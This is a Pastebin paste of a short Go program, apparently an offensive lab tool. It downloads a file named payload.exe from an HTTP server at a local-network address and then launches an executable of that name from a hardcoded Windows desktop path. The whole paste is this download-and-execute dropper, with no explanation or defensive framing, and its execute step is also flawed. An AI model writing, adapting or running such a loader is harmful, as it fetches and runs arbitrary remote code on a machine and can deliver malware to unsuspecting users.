Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package main
- import (
- "fmt"
- "io"
- "log"
- "net/http"
- "net/url"
- "os"
- "os/exec"
- "strings"
- )
- func download(arg string) {
- fmt.Printf("Working %s\n", arg)
- fmt.Println("Downloading file...")
- rawURL := "http://192.168.1.101:8000/payload.exe"
- fileURL, err := url.Parse(rawURL)
- if err != nil {
- panic(err)
- }
- path := fileURL.Path
- segments := strings.Split(path, "/")
- fileName := segments[1] // change the number to accommodate changes to the url.Path position
- file, err := os.Create(fileName)
- if err != nil {
- fmt.Println(err)
- panic(err)
- }
- defer file.Close()
- check := http.Client{
- CheckRedirect: func(r *http.Request, via []*http.Request) error {
- r.URL.Opaque = r.URL.Path
- return nil
- },
- }
- resp, err := check.Get(rawURL)
- if err != nil {
- fmt.Println(err)
- panic(err)
- }
- defer resp.Body.Close()
- fmt.Println(resp.Status)
- size, err := io.Copy(file, resp.Body)
- if err != nil {
- panic(err)
- }
- fmt.Printf("%s with %v bytes downloaded", fileName, size)
- }
- func execute(arg1, arg2 string) {
- cmnd := exec.Command("C:/Users/Israel/Desktop/Golang/payload.exe", "arg")
- cmnd.Start()
- log.Println(cmnd.Output())
- }
- func Invoke(fn interface{}, args ...string) {
- switch m := fn.(type) {
- case func(string):
- m(args[0])
- case func(string, string):
- m(args[0], args[1])
- default:
- }
- }
- func main() {
- Invoke(download, "now")
- Invoke(execute, "foo", "bar")
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement